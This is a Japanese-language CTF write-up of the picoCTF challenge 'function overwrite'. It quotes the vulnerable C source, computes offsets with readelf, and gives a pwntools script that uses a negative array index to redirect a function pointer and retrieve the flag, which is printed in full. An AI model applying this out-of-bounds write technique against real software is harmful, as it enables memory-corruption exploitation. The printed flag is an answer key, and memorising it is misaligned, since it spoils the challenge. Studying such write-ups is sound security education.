function overwrite (Binary Exploitation)
Story telling class 2/2
You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 50495
添付ファイル
・vuln
・vuln.c
とりあえず、実行してみる。
$ nc saturn.picoctf.net 50495
Tell me a story and then I'll tell you if you're a 1337 >> aaaaaaaaaaaaaaaaaaaaa
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
1
1
You've failed this class.
ソースコードを見る。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
void (*check)(char*, size_t) = hard_checker;
:
check関数ポインタを利用してhard_checker関数を呼び出す。
hard_checker()
:
calculate_story_score(story, len)が13371337であればフラグが得られる。
calculate_story_score(story, len)
:
storyのその時点での繰り返し回数番目の値をscoreに加算する。これをlen回数分繰り返す。
最終的なscoreを返す。
vuln()
:
127文字分の入力をstoryに、入力した2つの数字をnum1とnum2に格納する。
num1が10未満であれば、fun配列のnum1番目にnum2を加算する。
chek()にstoryと\0を除くstoryの長さを渡す。(hard_checker()を呼び出している。)
fun[num1] += num2;
を利用して、check関数ポインタをhard_checker()からeasy_checker()に書き換えることで、calculate_story_score()が1337でフラグが得られるようにするのが現実的である。
セキュリティ機構を確認する。
$ checksec vuln
[*] '/home/colza-picoctf/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
fun[]からcheck関数ポインタまでのoffsetを求める。
$ readelf -a vuln
...
55: 0804c080 40 OBJECT GLOBAL DEFAULT 26 fun
...
78: 0804c040 4 OBJECT GLOBAL DEFAULT 25 check
...
より、0x40 bytesの差がある。fun配列は1要素につき32bits(4bytes)なので、fun[]からcheck関数ポインタまでの配列の要素は-16
である。
fun[-16]にはhard_checker()のアドレスが格納されており、これにnum2の値を加算することでeasy_checker()のアドレスにしたい。hard_checker()からeasy_checker()までのoffsetを求める。
$ readelf -a vuln
...
46: 08049436 314 FUNC GLOBAL DEFAULT 15 hard_checker
...
77: 080492fc 314 FUNC GLOBAL DEFAULT 15 easy_checker
...
より、offsetは、0x08049436 - 0x080492fc = -13a(-314 bytes)
となる。
storyを1337にする必要があり、総和が1337になる文字は~
10個とM
1個である。
以下、実行コード。
from pwn import *
p = remote('saturn.picoctf.net', 50495)
payload_story = b"~" * 10 + b"M"
payload_num = b"-16 -314"
p.sendlineafter(b">> ", payload_story)
p.sendlineafter(b"than 10.\n", payload_num)
p.interactive()
実行する。
$ python solve.py
[+] Opening connection to saturn.picoctf.net on port 50495: Done
[*] Switching to interactive mode
You're 1337. Here's the flag.
picoCTF{0v3rwrit1ng_P01nt3rs_55516c93}
[*] Got EOF while reading in interactive
$
フラグが得られた。
picoCTF{0v3rwrit1ng_P01nt3rs_55516c93}